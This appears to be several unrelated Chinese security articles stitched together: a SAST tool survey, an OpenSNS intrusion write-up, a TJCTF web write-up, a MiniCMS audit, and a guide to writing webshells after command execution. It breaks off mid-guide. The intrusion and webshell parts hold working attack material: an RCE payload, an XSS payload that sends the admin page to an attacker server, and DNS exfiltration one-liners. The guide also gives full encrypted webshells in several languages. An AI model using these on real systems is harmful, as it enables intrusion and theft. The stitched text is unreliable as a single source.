/home/dependency-check/bin/dependency-check.sh -s /home/source_code/java-sec-code-master/target/java-sec-code-1.0.0.jar -f XML -o /home/java-sec-code-report.xml
(3) SonarQube页面配置：
新建项目 -> 创建令牌 -> 构建技术选择其他、操作系统选择Linux：
(4) Dependency的xml报告导入SonarQube并执行SonarScanner扫描:
/home/sonar-scanner-4.6.0.2311-linux/bin/sonar-scanner -Dsonar.host.url=http://192.168.50.168:9000 -Dsonar.login=28f66633ad3b5c89fcbd80022011f519f0868b85 -Dsonar.projectKey=java_sec_scan_dependency -Dsonar.java.binaries=/home/source_code/java-sec-code-master -Dsonar.dependencyCheck.reportPath=/home/java-sec-code-report.xml -Dsonar.dependencyCheck.htmlReportPath=/home/java-sec-code-report.html
> **故针对Java语言的扫描，使用Dependency-Check + SpotBugs的FindBugs Security
> Audit规则的方案，效果最好。**
扫描结果对比如下图所示：
#### 2.6.4 扫描结果分析
汇总结果如下（ **误报率及漏报率仅根据官方最新版本默认配置，实际测试结果进行主观大致预估** ）：
_注：针对PHP使用的是SonarQube默认规则，扫描结果中确认的安全漏洞基本很少，故我们使用需要界面复审Security
Reports中的结果和确认的安全漏洞进行对比分析。_
#### 2.6.5 调研结果
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 基于AST抽象语法树 | **优 点** ：1. 项目开源，便于做一些定制开发；2. 可针对不同的漏洞类型自定义规则；3.
对可持续集成支持较好；4. 插件支持，方便使用（例如findbugs等）;
是否支持持续集成 | 对CI集成支持较好且配置较简单 | **缺点：** 1\. 偏代码质量检测，对安全漏洞检测效果一般；2.
因为findbugs、Dependency等插件支持，针对Java的安全扫描效果优于PHP；3.
Sonarqube与Rips合并之后，社区版本的部分功能被移到商业版本中，例如报告生成。
扫描速度 | 良好 |
数据输入方式 | 支持git链接输入或在sonar-scanner指定项目目录 |
部署方式 | 可支持单节点部署/集群部署， SonarQube(提供web页面)可通过docker部署，sonar-scanner支持Linux/Windows等终端运行。详见：（SonarQube Server
安装方法：<https://docs.sonarqube.org/latest/setup/install-server/）> |
支持语言 | 社区版本支持15种常见开发语言 |
漏洞覆盖 | 覆盖漏洞类型较多
#### 2.6.6 参考资料
* [SonarQube实现自动化代码扫描](https://mp.weixin.qq.com/s/L5WeEFvu6etVTAigx6jjcQ)；
* [SonarQube使用手册](http://www.zhechu.top/2020/05/23/SonarQube使用手册/);
* [SonarQube 之 gitlab-plugin 配合 gitlab-ci 完成每次 commit 代码检测](https://blog.csdn.net/aixiaoyang168/article/details/78115646)；
* [Jenkins构建Maven项目](https://www.yuque.com/sunxiaping/yg511q/tl7t1u)；
* [SonarQube 搭建代码质量管理平台（一）](https://beckjin.com/2018/09/24/sonar-build/);
### 2.7 CodeQL
#### 2.7.1 介绍
以下介绍的内容引用自:[《58集团白盒代码审计系统建设实践1：技术选型》](https://mp.weixin.qq.com/s/d9RzCFkYrW27m1_LkeA2rw)：
CodeQL是 Github
安全实验室推出的一款静态代码分析引擎，其利用QL语言对代码、执行流程等进行“查询”，以此实现对代码的安全性白盒审计，进行漏洞挖掘（`codeql`的工作方式是首先使用`codeql`来编译源码，从源码中搜集需要的信息，然后将搜集到的信息保存为代码数据库文件，用户通过编写`codeql`规则从数据库中搜索出匹配的代码）。
**整体流程**
* 通过适配各个语言的AST解析器，并将代码的AST解析结果按照预设好的数据模型将代码AST数据及其依赖关系存储到CodeDB里；
* 通过QL语言定义污点追踪漏洞模型；
* 执行QL时通过高效的搜索算法对CodeDB的AST元数据进行高效查询，从而在代码中搜索出漏洞结果。
CodeQL为白盒漏洞扫描提供了一些新的思路：
* 通过格式化AST数据将它们进行结构化存储，再通过高效率的有向图搜索/裁剪算法支持对这些元数据进行基本查询；
* 通过对不同语言的适配，把一些常用的查询封装成QL语言，对AST数据进行一种类SQL的查询；
* 通过QL语言定义漏洞查询三元组<sources,sinks,sanitizers>（即污点追踪）可进行漏洞查询建模，并且由于查询可以直接搜索AST元数据，可以对DataFlow以及ControlFlow进行更细致的判断，以减少误报、漏报；
* 通过悬赏开源社区收录QL规则，保障了规则的迭代更新；
* 通过CodeQL的开源规则以及Github庞大的开源代码及迭代数据，实现打标能力为后续LGTM平台的神经网络学习提供学习样本。
#### 2.7.2 安装部署
本次调研仅对CodeQL环境进行部署搭建，同时参考文章：[《如何用CodeQL数据流复现 apache
kylin命令执行漏洞》](https://xz.aliyun.com/t/8240)进行该漏洞的本地复现，其他未深入进行研究。
**(1) 代码编译及代码数据库创建（Linux机器）：**
下载Linux版本的CodeQL分析程序，下载链接：<https://github.com/github/codeql-cli-binaries/releases，解压即可。>
**(2) 编写查询及编写CodeQL规则（本地windows机器）：**
* 下载安装VSCode ；
* VSCode中安装CodeQL插件；
* 下载Windows版本的CodeQL分析程序（下载链接与Linux版本同），解压即可；
* 下载[vscode-codeql-starter](https://github.com/github/vscode-codeql-starter)，用作VSCode的CodeQL启动器。
# vscode-codeql-starter命令行安装（Windows需安装git）
git clone https://github.com/github/vscode-codeql-starter
cd .\vscode-codeql-starter\
git submodule update --init --remote
# vscode-codeql-starter手动安装：
## 下载zip包：https://github.com/github/vscode-codeql-starter，随后解压。
## 下载codeql其他语言（Java、PHP等）的规则文件：https://github.com/github/codeql/tree/lgtm.com，将包中所有文件复制到vscode-codeql-starter目录的\ql目录下。
## 下载codeql GO语言的规则文件：https://github.com/github/codeql-go/tree/lgtm.com，将保重所有文件复制到vscode-codeql-starter目录的\codeql-go目录下。
**(3) VSCode配置（本地windows机器）：**
**配置codeql路径：** CodeQL的Windows版分析程序下载解压后，在VSCode中的CodeQL插件中配置`Executable
Path`为`codeql.exe`的路径，如下图所示：
**打开vscode-codeql-starter的工作目录：** 文件 > 打开工作区 > 选择`vscode-codeql-starter`目录下的`vscode-codeql-starter.code-workspace`即可:
#### 2.7.3 扫描测试
**(1) 以Apache Kylin命令注入漏洞（CVE-2020-1956）为例：**
/home/codeql_test/codeql/codeql database create java-kylin-test --language=java
将数据库打包：
/home/codeql_test/codeql/codeql database bundle -o java-kylin-test.zip java-kylin-test
随后将数据库的.zip包拷贝到本机，使用vscode进行分析：
编写查询代码：
/**
* @name cmd_injection
* @description 命令注入.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/cmd-injection-raul17
* @tags security
* external/cwe/cwe-089
*/
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.ExternalProcess
import DataFlow::PathGraph
// import DataFlow::PartialPathGraph
import semmle.code.java.StringFormat
import semmle.code.java.Member
import semmle.code.java.JDK
import semmle.code.java.Collections
class WConfigToExec extends TaintTracking::Configuration {
WConfigToExec() { this = "cmd::cmdTrackingTainted" }
override predicate isSource(DataFlow::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow::Node sink) {
sink.asExpr() instanceof ArgumentToExec
}
}
class CallTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(Call call |
n1.asExpr() = call.getAnArgument() and
n2.asExpr() = call
)
}
}
from DataFlow::PathNode source,DataFlow::PathNode sink,WConfigToExec c
where c.hasFlowPath(source, sink)
select source.getNode(), source, sink, "comes $@.", source.getNode(), "input"
查询出三个利用链：
#### 2.7.4 调研结果
**调研参数** | **调研结果** | **总结**
---|---|---
漏洞检测/扫描的原理 | 利用QL语言对代码、执行流程等进行“查询”，以此实现对代码的安全性白盒审计，进行漏洞挖掘。 |
优缺点引用自[《58集团白盒代码审计系统建设实践1：技术选型》](https://mp.weixin.qq.com/s/d9RzCFkYrW27m1_LkeA2rw)：
**优点** ：1.
以CodeDB的模式存储源代码数据，并提供高效的搜索算法及QL语言对漏洞进行查询，支持数据流与控制流，使用者无需考虑跨文件串联的算法难度；2.
支持除PHP以外的常见语言类型；3. QL规则开源且正在迭代，有很非常强的可扩展性及支持定制化规则能力；4. QL规则有相应的文档学习，无需依赖厂商支持；
5. 可以深入Jar包进行漏洞扫描。
是否支持持续集成 | 不支持企业集成到CI/CD流程 | **缺点：** 1\.
AST分析引擎不开源，无法针对AST的元数据进行调整修改，并且官方申明只用于研究用途，不允许企业集成至CI/CD流程；2.
不支持运行时动态绑定的重载方法分析（其他SAST产品的也不支持）；3. 不支持R·esource文件的扫描，不做二次开发的情况下无法支持类似Mybatis
XML配置的场景；4. 不支持软件成分分析，无法结合软件版本进行漏洞判断。
扫描速度 | 较快 |
数据输入方式 | |
部署方式 | Linux安装分析程序进行分析，Windows安装分析程序结合vscode进行查询语句编写 |
支持语言 | 支持除PHP以外的常见语言类型 |
漏洞覆盖 | 覆盖常见漏洞类型
#### 2.7.5 参考资料
* [CodeQL官方文档](https://codeql.github.com/docs/)；
* [C/C++源码扫描系列- codeql 篇](https://xz.aliyun.com/t/9275)；
* [代码分析引擎 CodeQL 初体验](https://paper.seebug.org/1078/)；
* [如何用CodeQL数据流复现 apache kylin命令执行漏洞](https://xz.aliyun.com/t/8240)；
* [系列 | 58集团白盒代码审计系统建设实践1：技术选型](https://mp.weixin.qq.com/s/d9RzCFkYrW27m1_LkeA2rw)；
* [系列 | 58集团白盒代码审计系统建设实践2：深入理解SAST](https://mp.weixin.qq.com/s/jQfsUg4vhEs3XwTcXkqhyQ)；
## 0x03 附录
### 3.1 OWASP Benchmark计分器使用
#### 3.1.1 docker镜像安装
下载链接：
https://github.com/OWASP/Benchmark/releases/tag/1.2beta
将Fortify、CheckMark对Benchmark的扫描结果导出为特定格式的扫描报告，格式支持参见：<https://owasp.org/www-project-benchmark/>
将扫描报告复制到`/results`目录下，随后进入`/VMs`目录，直接运行`docker build -t benchmark .`进行镜像build。
#### 3.1.2 计分器使用
使用如下命令进入容器：
docker container run -it benchmark1:latest /bin/bash
在容器内部直接运行`./createScorecards.sh`脚本：
./createScorecards.sh
运行完成后，随即就会在`/scorecard`目录下生成.html、.csv、.png格式的计分结果报告。
* * *
**< 全文完>** | 社区文章 |
# 记一次简单的渗透（二）
## 关于OpenSNS的漏洞
### 前台RCE
payload
index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang
### 后台文件上传
模板处上传zip文件，直接将木马解压到 /Theme/ 目录。
### 后台RCE
### 后台任意文件下载
还有个后台任意文件夹的删除。分析可以参看我的另一篇文章。
## 信息搜集
fofa 上找站
漏洞是存在的
还是有`disable_func` 和 `open_basedir` 的
php5 的环境，一些危险模块也是不存在的。
存在`fpm/fastcgi`
思路就是，借助其来完成bypass disable_func。
又看了一眼后台，弱口令进入后，通过文件上传植入木马。
在此处，解压路径是 /Theme/
## GETSHELL
蚁剑连上后，
修改木马，来bypass open_basedir。
尝试去寻找 php-fpm 和apache的一些配置文件，寻找 fpm开放端口的情况，因为在尝试探测9000端口的时候，发现似乎并不开放。
从目录规则可以看出来是一个宝塔的面板。
进入 server/php目录
本站的环境是php5.6的，php-fpm.conf 如下。
此处监听的是 `/tmp/php-cgi-56.sock`
不同于以往的 `127.0.0.1:9000` 或者 `0.0.0.0:9000`
攻击tcp模式的方式显然不行，但是我们已经知道fpm 的 sock 文件的绝对路径。直接去交互他，或者用 `unix://`
套接字的方式依然可行。可以直接用蚁剑
或者构造`fsockopen`这个函数去请求，可以参照newsctf中的一个题目，修改fpm.sock的地址就好。
蚁剑bypass成功后，修改数据中shell的脚本名字如下
然后打开终端，发现命令可以执行了。
## 参考
<https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5> | 社区文章 |
# TJCTF 2018 Web专题全解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
闲的无聊，打了下最近的tjctf2018，这场比赛挺不错的，许多新颖的题目，题目难度分层恰当，有难有易，下面是这次的Web专栏writeup。
## Web_Bank
## Web_Cookie Monster
打开页面，查看源代码，有个`/legs`，打开
继续右键查看源代码
## Web_Central Savings Account
打开网页，查看源代码。
接着打开`/static/main.js`，拉到底部，md5解码得到答案
## Web_Programmable Hyperlinked Pasta
打开网页
查看源代码，发现提示
然而并没啥卵用。。。
去看看下面那个链接
接着尝试改下get的url
https://programmable_hyperlinked_pasta.tjctf.org/?lang=en.php
https://programmable_hyperlinked_pasta.tjctf.org/?lang=ch.php
都是空白页面
随便尝试。。看到很多**消息。。。
查看下源代码
去网站根目录瞧瞧，嘿嘿
当然。。。。。这样也是可以的
## Web_Request Me
打开网页
查看源代码
点点看咯，毕竟也没别的东西
随后你打开后，就会发现你做此题所需要了解的http请求方式+curl请求方式知识的链接：
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS>
其实就是下面这张图里面的内容：
这里有个http请求方式相关链接：
<https://www.cnblogs.com/testcoffee/p/6295970.html>
了解了这些，我们用curl试水下
题目url的请求方式都试了一遍，可以看到，`POST`和`DELETE`需要凭证
`PUT`需要
em~
凭证是什么鬼。。。后面继续试水，这里巨坑
原来所谓的凭证需要经过自己手工fuzz，一波踩坑，请求的data为：`username=admin&password=admin`
可以看到PUT有以下结果
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
I stole your credentials!
好的，告诉我们得到了凭证，那试试DELECT吧（这里试过get、post，但是没用）
最后谷歌一番，尝试
得到flag
这里还有个坑点：请求方式需要按照以下命令依次输入执行，并且DELETE这条命令需要输入两遍才能得到flag（尝试无数遍的操作）
$ curl -X POST "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X PUT "https://request_me.tjctf.org/" --data username=admin&password=admin
$ curl -X DELETE "https://request_me.tjctf.org/" --data username=admin&password=admin -u admin:admin
## Web_Moar Horses
打开网页，看到这个，跟原来那题很想。。。打开开发者工具，会发现随着网页往下托，控制台会出现许多网页
咯，就是这样，往下滑不见底的那种
查看其中任意一个html的源码
猜测应该是大量html中含有一个带有flag的html文件。。。那怎么办呢。总不能一直拉着鼠标往下拖吧。。。。百度，谷歌了下，其实。。。控制台写个命令就行
`window.setInterval(function(){window.scrollByLines(10000)},1)`
然后跑啊跑。。。。。。。1500多条才跑出来。。。
后面用ubuntu自带的火狐，跑了100多条请求就跑出来。。晕死。。这是为啥？
## Web_Ess Kyoo Ell
打开网页
随意测试,用bp拦截下
再看看网页
提示`This is what I got about you from the database: no such column: password`
再看看响应的源代码
尝试
这里有检验`@`，试试bp能不能绕过
提示还是：`This is what I got about you from the database: no such column:
password`
尝试改改post的数据`password`->`passwd`
提示：`This is what I got about you from the database: no such column: passwd`
到这里大概知道我们可以干啥了。。通过修改这个字段，让服务器查询出我们想得到的信息
根据上面的分析，或许使用python的request请求更加合适呢！
这里简单的sql测试,就基本可以大致的信息，题目所求用户admin的ip地址
#-*-coding:utf-8
import requests
url = 'https://ess-kyoo-ell.tjctf.org'
s=requests.Session()
data={
"email":"' or 1=1 #",
#"username or 1=1 --":""
"(username or 1=1) and username = 'admin' --":""
}
r=s.post(url,data=data)
print 'n'.join(r.text.split('n')[174:174+18]) #只查看174~174+18行的网页源代码
s.close()
得到运行结果
<p id="profile-name" class="profile-name-card">This is what I got about you from the database: {'id': 706, 'username': 'admin', 'first_name': 'Administrative', 'last_name': 'User', 'email': '[email protected]', 'gender': 'Female', 'ip_address': '145.3.1.213'}</p>
答案即是tjctf{145.3.1.213}
## Web_Stupid blog
打开页面，有注册和登录，那就是注册再登录试试咯
注册了个账号，jianghuxia ,登录后发现自己的主页url是：`https://stupid_blog.tjctf.org/jianghuxia`
推测每个`username`的页面是`https://stupid_blog.tjctf.org/<username>`，那么先尝试下`https://stupid_blog.tjctf.org/admin`，得到下图提示
仔细看看页面，发现有3个模块：`Report a User、Update Profile Picture (png, jpg)、Save`
感觉似曾相识em~流程大概是这么一个样，上传个人资料图片（JPEG /
PNG），在个人“Posts”上设置帖子，最后提交给管理员，如果这样的话，考察的就是XSS咯
那么先测试一波上传，测试途中，发现了配置文件图像的固定URL是：`https://stupid_blog.tjctf.org/<Username>/pfp`
尝试过抓包冒充扩展名，但会发现因为是固定的路径，所以就算上传成功后，都是一张默认用户的图片，如果要进行其他的测试也是行不通的
尝试上传正常的图片，会发现正常显示，且访问路径`https://stupid_blog.tjctf.org/<Username>/pfp`
会跳转到刚刚的上传文件的下载
到此，大致能分析出后台具有挺严格的图片上传过滤规则，那么现在是能在图片数据域里做手脚了。。
再测试XSS的时候，几经测试，发现又具有严格的CSP规则。。。
em~那现在方向和思路都很明显了
通过XSS使用JPG或者png文件上传绕过`CSP（Content-Security-Policy）`
而关键的是，我们要把XSS的关键代码写入JPG中，绕过CSP
尝试了几波无果，没思路咯，网上搜了一番，嘿嘿，找到个跟这个好像的 ：
<https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs>
根据这篇文章分析，贼有意思，此文作者研究了JPG的文件格式，把脚本隐藏在了jpg图像中，orz…
首先，jpg文件格式的头部：
前4个字节是jpg文件头，随后2个字节，代表后面所填充的JPEG标头的长度
`FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00
00 00`
接着，表示jpg数据域的开始的两个字节：`0xFF`， `0xFE`，其后面紧跟两个代表数据域长度的字节
比如：`FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E
22 29 3B 2F 2A`
`0xFF`，`0xFE`代表数据域开始，`0x00`，`0x1C`代表后面数据的长度加上这两个字节的本身长度。0x001C化为十进制代表28个字节，也就是56位
最后，JPG的文件尾部`2A 2F 2F 2F FF D9`
`0xFF`、`0xD9`代表JPG文件尾部的最后2个字节，意味着JPG文件的结束.
如此，当把代码`/=alert("Burp rocks.");/*`插入到一张jpg中，将是下面格式
接着回到题目先上传该文件，上传成功后，你可以访问`https://stupid_blog.tjctf.org/<Username>/pfp`
下载这时的pfp文件，验证是否跟上传的一样
可以发现一模一样，意味着成功往JPG中写入了代码，再看看能不能执行
Post填入
`<script charset="ISO-8859-1" src="/jianghuxia/pfp"></script>`
SAVE，就会弹出提示框
很好，我们成功了。那么接下来只需要简单改改上传图片中的代码，然后进行相同的操作，最后再进行一步“Report a User”就行。
现在需要写入的是：
`*/=x=new
XMLHttpRequest();x.open("GET","admin",false);x.send(null);document.location="http://<your
severhost>/j"+x.responseText;/*`
按照刚刚的填充JPG文件方法，计算长度
再加上前面2个代表长度的标识字节,264+2*2=268,268/2=134，再转16进制，为0x86。再加上JPG的文件头尾格式，得到下图
上传文件，并且上传完成后再SAVE一遍Posts
报告提交给admin
提交成功
然后坐等自己服务器日志收到的新信息
web已完毕,以上就是TJCTF web专题的writeup,感觉前面3题都是很简单的，第四题开始，难度步步提升，对于菜鸡（我）还是很爽的。。orz… | 社区文章 |
### 前言
学习一下代码审计方面。先审计一些小型cms
### minicms
Mini CMS v1.1
MiniCMS是一个针对个人网站设计的微型内容管理系统。它的特点是：
* 不需要数据库在支持，只需要一个可以运行PHP的Web环境
* 只针对个人网站设计，没有复杂的成员管理和权限设置
* 没有分类只有标签，免除发布文章时到底该怎么分类的纠结
* 只有“文章”和“页面”两该个系统，没有“评论”、“插件”、“主题”，让你更专注于创造内容
### 漏洞发现
#### 0x01 垂直越权漏洞
mc-admin/index.php 代码如下:
<?php
require_once dirname(dirname(__FILE__)).'/mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token == md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:{$mc_config['site_link']}/mc-admin/post.php");
}
}
if (isset($_POST['login'])) {
if ($_POST['user'] == $mc_config['user_name']
&& $_POST['pass'] == $mc_config['user_pass']) {
setcookie('mc_token', md5($mc_config['user_name'].'_'.$mc_config['user_pass']));
Header("Location:{$mc_config['site_link']}/mc-admin/post.php");
}
}
?>
也就是说，登陆成功的话会进入当前post.php
ac-admin/head.php 权限判断:
<?php
ini_set("display_errors", "On"); error_reporting(E_ALL);
require_once '../mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:index.php");
exit;
}
} else {
Header("Location:index.php");
exit;
}
...代码省略
在ac-admin/post.php中，第188行才会用权限判断，前面的函数已经执行了,所以这里存在越权行为:
188行前面的函数有:
function delete_post($id) {
global $state, $index_file, $mc_posts;
$post = $mc_posts[$id];
$post['prev_state'] = $state;
unset($mc_posts[$id]);
file_put_contents($index_file, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
if ($state != 'delete') {
$index_file2 = '../mc-files/posts/index/delete.php';
require $index_file2;
$mc_posts[$id] = $post;
file_put_contents($index_file2, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
} else {
unlink('../mc-files/posts/data/'.$id.'.dat');
}
}
if (isset($_GET['delete']) || (isset($_GET['apply']) && $_GET['apply'] == 'delete')) {
if (isset($_GET['apply']) && $_GET['apply'] == 'delete') {
$ids = explode(',', $_GET['ids']);
foreach ($ids as $id) {
if (trim($id) == '')
continue;
delete_post($id);
load_posts();
}
} else {
delete_post($_GET['delete']);
}
这里测试一下无admin删掉文章,构造payload：
http://xxxxxxxx/mc-admin/post.php?state=delete&delete=aaaaaa
删掉成功，这就是垂直越权漏洞了
#### 0x02 后台getshell
前提是能进入后台，在conf.php设置
ac-admin/conf.php 代码如下:
<?php require 'head.php' ?>
<?php
$display_info = false;
if (isset($_POST['save'])) {
$user_name_changed = $_POST['user_name'] != $mc_config['user_name'];
$mc_config['site_name'] = $_POST['site_name'];
$mc_config['site_desc'] = $_POST['site_desc'];
$mc_config['site_link'] = $_POST['site_link'];
$mc_config['user_nick'] = $_POST['user_nick'];
$mc_config['user_name'] = $_POST['user_name'];
$mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);
if ($_POST['user_pass'] != '')
$mc_config['user_pass'] = $_POST['user_pass'];
$code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";
file_put_contents('../mc-files/mc-conf.php', $code);
if ($_POST['user_pass'] != '' || $user_name_changed) {
setcookie('mc_token', md5($mc_config['user_name'].'_'.$mc_config['user_pass']));
}
$display_info = true;
}
开头是先权限判断的，所以要先进后台，构造payload：
xxx');assert($_GET[x]);/*
查看代码发现单引号被加了斜杆过滤了.var_export()这个函数会给单引号加上斜杆 | 社区文章 |
# 闲谈文件写入实战应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
命令执行漏洞是渗透测试中很常见的漏洞之一，也是我们攻防演练或者安全测试中快速getshell的一种途径，当然，有时发现命令执行漏洞到成功getshell的过程可能注定不会太过容易，如常见的一些问题：目标机器不出网，执行命令无回显，盲注浪费时间，写shell容器路径找不到，写shell字符转义错误，上传shell文件被杀等等。那都是一个悲伤的故事。这篇文章技术含量不是很高，但我想应该能帮助不少人。
## 一、寻找web路径
想要写文件（shell）,首先需要找到web容器目录，下面就是一些寻找web目录的部分方法。
### 1.文件查找法
**（a）Windows**
对于Windows查找文件方法，我收集了三种，其中前两种可以指定目录，而最后一种则是从当前目录搜索文件。三者都带有通配符，以下是搜索文件名中带有login的文件。
for /r C: %i in (login.*) do @echo %i
where /R C: login.*
dir /s/a-d/b login.*
**（b）Linux**
对于Linux查找文件方法,我收集了两种，其中find是我们最常使用的，locate需要更新数据库，使用相对麻烦，部分系统可能不会携带此命令。
find / -name index.php
updatedb && locate index.php
### 2.源码查找法
**（a）Windows**
findstr /s /i /n /d:C:\ /c:"123123" *.txt
其中/d:是指定目录，在windows中一般为指定盘符，/c:则是指定文件内容，最后指定的是文件名字。
**（b）Linux**
find / -name "index.php" | xargs grep "111222"
相信linux我们都很熟悉，这里不过多说明。
### 3.带外查找
对于一些无回显的命令执行，或者盲注浪费时间的洞，我们可能需要协助OOB。
**（a）Windows**
在windows当中，%cd%
代表的是当前目录，我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码，再过滤certutil携带的字符，将它赋给一个变量，最后通过nslookup外带出来，从而实现获取当前目录的目的。
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io
下面这个语句，主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。
for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)
为什么在上面需要过滤=，主要是因为在执行ping命令的时候是不允许带=号的，相较于nslookup，ping命令成功率相对较高，但如果路径过长，可能会导致失败。具体多长需要大家自行试验。
echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io
如果需要外带多行命令，则需要以下语句：
where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
**（b）Linux**
在linux中pwd也是查看当前目录的，我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制，这样我们即可外带出自己想要的东西。
ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
base64原理和上面类似，主要是对值进行base64编码，然后替换掉“=”，即可成功外带数据。
pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io
如果有多行数据需要外带，那么请考虑下面的语句。（和大佬学的）
var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
oob主要参考一位大佬文章，会在文末列出。
## 二、执行系统命令写shell
通过上面的几种方法，感觉找个目录不在话下。（如果是站库分离，当我没说）
下面总结的是文件写入方法。
### 1.直接写入法
**（a）Windows**
在windows主要的写入方法，我主要用以下两种：
set /p=要写的内容<nul > C:\11.txt
echo 要写的内容 > C:\11.txt
在windows中，批处理需要转义字符主要有 “&”，“|”，“<”，“>”等等，转义字符为”^”
下面以echo为例，写入冰蝎各脚本语言shell，其中需要转义的东西，我已经帮各位表哥转过了，拿来直接用即可：
**（1）jsp**
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
**（2）jspx**
echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^>^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^>^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^>^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^>^</jsp:root^> > 111.jspx
**（3）php**
echo ^<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl'))^{$t="base64_"."decode";$post=$t($post."");for($i=0;$i^<strlen($post);$i++) ^{$post[$i] = $post[$i]^^$key[$i+1^&15]; ^}^}else^{$post=openssl_decrypt($post, "AES128", $key);^}$arr=explode('^|',$post);$func=$arr[0];$params=$arr[1];class C^{public function __invoke($p) ^{eval($p."");^}^}@call_user_func(new C(),$params);?^> > 111.php
**（4）java9 jsp**
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
**（5）aspx**
echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx
**（6）asp**
echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp
**（b）Linux**
在Linux中，需要转义字符主要是 单引号 或者双引号 对于单引号，我们将其替换为\47即可。
**（1）jsp**
